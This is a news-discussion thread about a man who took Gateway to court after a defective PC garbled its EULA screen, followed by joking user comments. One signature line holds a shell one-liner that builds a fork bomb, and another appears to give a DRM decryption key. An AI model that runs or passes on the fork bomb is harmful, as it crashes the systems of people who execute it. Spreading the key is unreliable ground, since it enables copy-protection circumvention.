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Man Sues Gateway Because He Can't Read EULA
Scoopy writes "California resident Dennis Sheehan took Gateway to small claims court after he reportedly received a defective computer and little technical support from the PC manufacturer. Gateway responded with their own lawyer and a 2-inch thick stack of legal docs, and claimed that Sheehan violated the EULA, which requires that users give up their right to sue and settle these cases in private arbitration. Sheehan responded that he never read the EULA, which pops up when the user first starts the computer, because the graphics were scrambled — precisely the problem he had complained to tech support in the first place. A judge sided with Sheehan on May 24 and the case will proceed to small claims court. A lawyer is quoted as saying that Sheehan, a high school dropout who is arguing his own case, is in for a world of hurt: 'This poor guy now faces daunting reality of having to litigate this on appeal against Gateway...By winning, he's lost.'"
poor guy?
Poor guy? Yes, create more pity for him. After all, you sold him a defective computer, then refused to fix it. Then let the situation make it all the way to small claims court. You've got him right you want him.
Absolutely. I am almost done reading an EULA on my other PC. When I am done, I look forward to finishing building my Win 95 system, working off of 3.1 sucks!
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... that have the EULA in print?
.WAV of the EULA played through the speakers (including the motherboard P.O.S.T speaker) as well as read it on the screen.
Actually, thanks to this guy, every Gateway purchaser will have to listen to a
-- 3 events that reshaped the world in the 20th century: WW1, WW2, and WWW
You guys must sell a whole lot of weed.
Whaaa??? I am gonna so kick Master's ass when he gets home!
Myself, I dropped out of high school and started working at 15, as a Lotus Notes developer
Wow. You should make a PSA. If that doesn't scare kids into staying in school, I don't know what will.
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He did it was a joint venture.
A lot of posts here are easier to read if you mentally replace IANAL with EOF, i.e. stop reading at that point.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Heck, try getting one when you can't even spell diploma.
Promote proofreading. Don't mod up sloppy posts.
09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
Another satisfied customer.
To have a right to do a thing is not at all the same as to be right in doing it